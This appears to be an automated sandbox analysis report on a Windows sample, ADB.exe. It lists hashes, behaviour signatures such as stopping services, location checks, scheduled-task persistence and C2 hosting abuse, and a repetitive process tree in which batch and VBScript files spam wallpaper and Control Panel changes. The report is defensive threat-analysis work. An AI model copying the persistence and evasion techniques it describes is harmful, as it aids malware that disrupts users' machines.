Analysis
-
max time kernel
541s -
max time network
543s -
platform
windows10-2004_x64 -
resource
win10v2004-20240704-en -
resource tags
-
submitted
08-07-2024 23:42
General
-
Target
ADB.exe
-
Size
1.1MB
-
MD5
c1f9696650a7965bae37f5237bfcad32
-
SHA1
500f7da087d618a0903639cd59b9ca2ba92a46ba
-
SHA256
155eee426bb4f90b77a11ab86a8d165e01dd4f14109e6a0cd6c64bd0c010fa2a
-
SHA512
ccb525e44129b3e57d47f9803b670ddeb78100581ac5d7a9a5e93a0718861ce700a1cba34a067c916644fb0e177879087574360388702576040e07a865d041bc
-
SSDEEP
24576:2ddFMz0EsyK1V9B0ihaw4NlP5r7i4V3ps78VC9JtsV+n1:2dd6z0isVz0KaP7iYwoUOk
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
-
Stops running service(s) 4 TTPs
-
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 1 IoCs
-
Loads dropped DLL 19 IoCs
-
Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Sets desktop wallpaper using registry 2 TTPs 64 IoCs
-
Drops file in Program Files directory 2 IoCs
-
Drops file in Windows directory 2 IoCs
-
Launches sc.exe 64 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Delays execution with timeout.exe 7 IoCs
-
Modifies Control Panel 64 IoCs
-
Modifies data under HKEY_USERS 4 IoCs
-
Modifies registry class 3 IoCs
-
Modifies registry key 1 TTPs 64 IoCs
-
Runs net.exe
-
Runs ping.exe 1 TTPs 5 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 35 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ADB.exe"C:\Users\Admin\AppData\Local\Temp\ADB.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\PinguHax.bat" "2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K pinguspam.bat3⤵
- Checks computer location settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
- Sets desktop wallpaper using registry
-
C:\Windows\SysWOW64\RUNDLL32.EXE"C:\Windows\System32\RUNDLL32.EXE" user32.dll,UpdatePerUserSystemParameters5⤵
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zSBCF7.tmp\morespam.vbs"4⤵
-
